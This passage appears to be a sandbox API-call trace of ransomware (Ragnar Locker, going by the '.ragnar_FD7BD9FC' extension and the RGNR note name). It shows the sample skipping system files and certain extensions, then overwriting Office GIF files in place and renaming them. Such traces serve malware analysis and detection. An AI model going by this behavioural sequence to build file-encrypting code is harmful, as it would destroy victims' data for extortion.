lstrcmpiW (lpString1="BD14692_.GIF", lpString2="bootmgr") returned -1 [0098.517] lstrcmpiW (lpString1="BD14692_.GIF", lpString2="bootmgr.efi") returned -1 [0098.517] lstrcmpiW (lpString1="BD14692_.GIF", lpString2="bootmgfw.efi") returned -1 [0098.517] lstrcmpiW (lpString1="BD14692_.GIF", lpString2="desktop.ini") returned -1 [0098.517] lstrcmpiW (lpString1="BD14692_.GIF", lpString2="iconcache.db") returned -1 [0098.517] lstrcmpiW (lpString1="BD14692_.GIF", lpString2="ntldr") returned -1 [0098.517] lstrcmpiW (lpString1="BD14692_.GIF", lpString2="ntuser.dat") returned -1 [0098.518] lstrcmpiW (lpString1="BD14692_.GIF", lpString2="ntuser.dat.log") returned -1 [0098.518] lstrcmpiW (lpString1="BD14692_.GIF", lpString2="ntuser.ini") returned -1 [0098.518] lstrcmpiW (lpString1="BD14692_.GIF", lpString2="thumbs.db") returned -1 [0098.518] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0098.518] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0098.518] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0098.518] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0098.518] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0098.518] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0098.518] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0098.518] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14692_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14692_.gif")) returned 0x20 [0098.519] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14692_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14692_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0098.520] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=177) returned 1 [0098.520] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xa8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.520] GetProcessHeap () returned 0x580000 [0098.520] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0098.520] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0098.520] VirtualAlloc (lpAddress=0x0, dwSize=0xb1, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0098.521] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.521] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0098.521] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xb1, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0xb1, lpOverlapped=0x0) returned 1 [0098.521] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0098.521] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xb1, nNumberOfBytesToLockHigh=0x0) returned 1 [0098.521] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xb1, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0xb1, lpOverlapped=0x0) returned 1 [0098.521] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xb1, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0098.521] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0098.521] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xb1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.521] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0098.521] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0098.522] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0098.522] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0098.522] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0098.522] GetProcessHeap () returned 0x580000 [0098.522] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0098.522] CloseHandle (hObject=0x10c) returned 1 [0098.522] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14692_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14692_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14692_.GIF" [0098.522] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14692_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14692_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14692_.GIF.ragnar_FD7BD9FC" [0098.522] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14692_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14692_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14692_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14692_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0098.524] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc555b400, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc978460, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc555b400, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0xad, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14693_.GIF", cAlternateFileName="")) returned 1 [0098.524] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0098.524] lstrcpyW (in: lpString1=0x1eab62, lpString2="BD14693_.GIF" | out: lpString1="BD14693_.GIF") returned="BD14693_.GIF" [0098.524] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14693_.GIF") returned=".GIF" [0098.524] lstrcmpiW (lpString1="BD14693_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0098.524] lstrcmpiW (lpString1="BD14693_.GIF", lpString2="autorun.inf") returned 1 [0098.524] lstrcmpiW (lpString1="BD14693_.GIF", lpString2="boot.ini") returned -1 [0098.524] lstrcmpiW (lpString1="BD14693_.GIF", lpString2="bootfont.bin") returned -1 [0098.524] lstrcmpiW (lpString1="BD14693_.GIF", lpString2="bootsect.bak") returned -1 [0098.524] lstrcmpiW (lpString1="BD14693_.GIF", lpString2="bootmgr") returned -1 [0098.524] lstrcmpiW (lpString1="BD14693_.GIF", lpString2="bootmgr.efi") returned -1 [0098.524] lstrcmpiW (lpString1="BD14693_.GIF", lpString2="bootmgfw.efi") returned -1 [0098.524] lstrcmpiW (lpString1="BD14693_.GIF", lpString2="desktop.ini") returned -1 [0098.524] lstrcmpiW (lpString1="BD14693_.GIF", lpString2="iconcache.db") returned -1 [0098.524] lstrcmpiW (lpString1="BD14693_.GIF", lpString2="ntldr") returned -1 [0098.524] lstrcmpiW (lpString1="BD14693_.GIF", lpString2="ntuser.dat") returned -1 [0098.524] lstrcmpiW (lpString1="BD14693_.GIF", lpString2="ntuser.dat.log") returned -1 [0098.524] lstrcmpiW (lpString1="BD14693_.GIF", lpString2="ntuser.ini") returned -1 [0098.524] lstrcmpiW (lpString1="BD14693_.GIF", lpString2="thumbs.db") returned -1 [0098.524] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0098.524] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0098.524] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0098.524] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0098.524] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0098.524] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0098.524] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0098.524] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14693_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14693_.gif")) returned 0x20 [0098.524] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14693_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14693_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0098.525] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=173) returned 1 [0098.525] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xa4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.525] GetProcessHeap () returned 0x580000 [0098.525] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0098.525] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0098.526] VirtualAlloc (lpAddress=0x0, dwSize=0xad, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0098.526] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.526] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0098.526] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xad, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0xad, lpOverlapped=0x0) returned 1 [0098.526] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0098.526] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xad, nNumberOfBytesToLockHigh=0x0) returned 1 [0098.526] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xad, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0xad, lpOverlapped=0x0) returned 1 [0098.526] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xad, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0098.526] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0098.527] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xad, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.527] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0098.527] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0098.527] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0098.527] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0098.527] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0098.527] GetProcessHeap () returned 0x580000 [0098.527] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0098.527] CloseHandle (hObject=0x10c) returned 1 [0098.527] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14693_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14693_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14693_.GIF" [0098.527] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14693_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14693_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14693_.GIF.ragnar_FD7BD9FC" [0098.527] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14693_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14693_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14693_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14693_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0098.582] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecac8100, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc978460, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xecac8100, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0x29b, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14752_.GIF", cAlternateFileName="")) returned 1 [0098.582] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0098.582] lstrcpyW (in: lpString1=0x1eab62, lpString2="BD14752_.GIF" | out: lpString1="BD14752_.GIF") returned="BD14752_.GIF" [0098.582] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14752_.GIF") returned=".GIF" [0098.582] lstrcmpiW (lpString1="BD14752_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0098.582] lstrcmpiW (lpString1="BD14752_.GIF", lpString2="autorun.inf") returned 1 [0098.582] lstrcmpiW (lpString1="BD14752_.GIF", lpString2="boot.ini") returned -1 [0098.582] lstrcmpiW (lpString1="BD14752_.GIF", lpString2="bootfont.bin") returned -1 [0098.582] lstrcmpiW (lpString1="BD14752_.GIF", lpString2="bootsect.bak") returned -1 [0098.582] lstrcmpiW (lpString1="BD14752_.GIF", lpString2="bootmgr") returned -1 [0098.582] lstrcmpiW (lpString1="BD14752_.GIF", lpString2="bootmgr.efi") returned -1 [0098.582] lstrcmpiW (lpString1="BD14752_.GIF", lpString2="bootmgfw.efi") returned -1 [0098.582] lstrcmpiW (lpString1="BD14752_.GIF", lpString2="desktop.ini") returned -1 [0098.582] lstrcmpiW (lpString1="BD14752_.GIF", lpString2="iconcache.db") returned -1 [0098.582] lstrcmpiW (lpString1="BD14752_.GIF", lpString2="ntldr") returned -1 [0098.582] lstrcmpiW (lpString1="BD14752_.GIF", lpString2="ntuser.dat") returned -1 [0098.582] lstrcmpiW (lpString1="BD14752_.GIF", lpString2="ntuser.dat.log") returned -1 [0098.582] lstrcmpiW (lpString1="BD14752_.GIF", lpString2="ntuser.ini") returned -1 [0098.582] lstrcmpiW (lpString1="BD14752_.GIF", lpString2="thumbs.db") returned -1 [0098.582] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0098.582] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0098.582] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0098.582] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0098.582] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0098.582] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0098.582] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0098.582] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14752_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14752_.gif")) returned 0x20 [0098.583] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14752_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14752_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0098.584] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=667) returned 1 [0098.584] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x292, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.584] GetProcessHeap () returned 0x580000 [0098.584] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0098.584] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0098.585] VirtualAlloc (lpAddress=0x0, dwSize=0x29b, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0098.586] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.586] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0098.586] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x29b, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x29b, lpOverlapped=0x0) returned 1 [0098.586] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0098.586] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x29b, nNumberOfBytesToLockHigh=0x0) returned 1 [0098.586] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x29b, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x29b, lpOverlapped=0x0) returned 1 [0098.586] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x29b, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0098.586] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0098.586] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x29b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.586] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0098.586] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0098.586] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0098.587] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0098.587] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0098.587] GetProcessHeap () returned 0x580000 [0098.587] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0098.587] CloseHandle (hObject=0x10c) returned 1 [0098.587] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14752_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14752_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14752_.GIF" [0098.587] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14752_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14752_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14752_.GIF.ragnar_FD7BD9FC" [0098.587] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14752_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14752_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14752_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14752_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0098.594] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecac8100, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc99e5c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xecac8100, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0xbc, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14753_.GIF", cAlternateFileName="")) returned 1 [0098.594] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0098.594] lstrcpyW (in: lpString1=0x1eab62, lpString2="BD14753_.GIF" | out: lpString1="BD14753_.GIF") returned="BD14753_.GIF" [0098.594] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14753_.GIF") returned=".GIF" [0098.594] lstrcmpiW (lpString1="BD14753_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0098.594] lstrcmpiW (lpString1="BD14753_.GIF", lpString2="autorun.inf") returned 1 [0098.594] lstrcmpiW (lpString1="BD14753_.GIF", lpString2="boot.ini") returned -1 [0098.594] lstrcmpiW (lpString1="BD14753_.GIF", lpString2="bootfont.bin") returned -1 [0098.594] lstrcmpiW (lpString1="BD14753_.GIF", lpString2="bootsect.bak") returned -1 [0098.594] lstrcmpiW (lpString1="BD14753_.GIF", lpString2="bootmgr") returned -1 [0098.594] lstrcmpiW (lpString1="BD14753_.GIF", lpString2="bootmgr.efi") returned -1 [0098.594] lstrcmpiW (lpString1="BD14753_.GIF", lpString2="bootmgfw.efi") returned -1 [0098.594] lstrcmpiW (lpString1="BD14753_.GIF", lpString2="desktop.ini") returned -1 [0098.594] lstrcmpiW (lpString1="BD14753_.GIF", lpString2="iconcache.db") returned -1 [0098.594] lstrcmpiW (lpString1="BD14753_.GIF", lpString2="ntldr") returned -1 [0098.594] lstrcmpiW 